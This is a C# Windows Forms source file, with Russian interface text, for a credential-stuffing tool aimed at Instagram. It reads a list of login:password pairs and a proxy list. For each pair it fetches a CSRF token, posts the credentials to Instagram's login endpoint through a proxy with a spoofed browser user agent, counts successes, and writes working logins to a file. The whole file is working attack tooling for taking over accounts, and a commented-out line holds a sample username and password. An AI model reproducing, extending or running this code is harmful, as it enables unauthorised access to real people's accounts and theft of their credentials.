private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                FileInfo fi = new FileInfo(ofd.FileName);
                string path = ofd.FileName;
                textBox1.Text = path;
                listBox1.Items.Clear();
                string[] lines1 = File.ReadAllLines(textBox1.Text);
                listBox1.Items.Add("Размер базы : " + lines1.Length);

            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                FileInfo fi = new FileInfo(ofd.FileName);

                string path = ofd.FileName;
                textBox2.Text = path;
                string[] lines2 = File.ReadAllLines(textBox2.Text);
                listBox1.Items.Add("Кол-во проксей : " + lines2.Length);
            }
        }

        public string login1(string basa)
        {
            string[] strs = basa.Split(':');
            string login = strs[0];
            return login;
        }

        public string password(string basa)
        {
            string[] strs = basa.Split(':');
            string password = strs[1];
            return password;
        }

        private void button3_Click(object sender, EventArgs e)
        {

            int k = 0, z = 0;
            string p1 = textBox1.Text;
            string p2 = textBox2.Text;
            string p3 = textBox4.Text;
            string[] lines1 = File.ReadAllLines(p1);
            string[] lines2 = File.ReadAllLines(p2);

            listBox1.Items.Add("Good : ");
            listBox1.Items.Add("Bad : ");

            // var proxyClient = HttpProxyClient.Parse("127.0.0.1:8080");
            // var tcpClient = proxyClient.CreateConnection("habrahabr.ru", 80);

            int y;
        //    bool isInt = Int32.TryParse(textBox3.Text, out y);


              //  int h = y;
               // if (y > lines1.Length)
              //  {
                 int   h = lines1.Length;
              //  }

            for (int i = 0; i < h; i++)
            {
                using (var request = new HttpRequest())
                {
                    var useragenT = Http.OperaUserAgent();
                   if (lines2.Length >= i)
                  {
                       request.Proxy = HttpProxyClient.Parse(lines2[i]);
                    }


                        request.UserAgent = useragenT;
                    request.AddHeader("Upgrade-Insecure-Requests", "1");
                    var resulte = request.Get("https://www.instagram.com/?hl=ru");
                    string content = resulte.ToString();
                    var cookies = resulte.Cookies;
                    var srftoken = "";
                    foreach (var m in cookies)
                        if (m.Key == "csrftoken")
                            srftoken = m.Value;

                    request.UserAgent = useragenT;
                    request.Cookies = cookies;
                    request.AddHeader("X-Instagram-AJAX", "1");
                    request.AddHeader("X-Requested-With", "XMLHttpRequest");
                    request.AddHeader("X-CSRFToken", srftoken);
                    request.Referer = "https://www.instagram.com/?hl=ru";
                    //username=areyon299&password=%D0%A2%D1%88%D0%BB%D1%88%D0%B5%D1%8429
                    string data = "username=" + login1(lines1[i]) + "&password=" + password(lines1[i]);
                    resulte = request.Post("https://www.instagram.com/accounts/login/ajax/?hl=ru", data,
                        "application/x-www-form-urlencoded");
                    var txtresult = resulte.ToString();

                    if (txtresult.Contains("authenticated\": true"))
                    {
                        k++;
                        listBox1.Items.RemoveAt(2);
                        listBox1.Items.Insert(2, "Good : " + k);
                        using (StreamWriter sw = File.AppendText(p3))
                        {
                            sw.WriteLine(login1(lines1[i]) + ":" + password(lines1[i]));

                        }
                    }
                    else
                    {
                        z++;
                        listBox1.Items.RemoveAt(3);
                        listBox1.Items.Insert(3, "Bad : " + z);
                    }

                }

            }
            listBox1.Items.Add("Готово!");


        }

        private void button4_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                FileInfo fi = new FileInfo(ofd.FileName);

                string path = ofd.FileName;
                textBox4.Text = path;
            }
        }
    }
}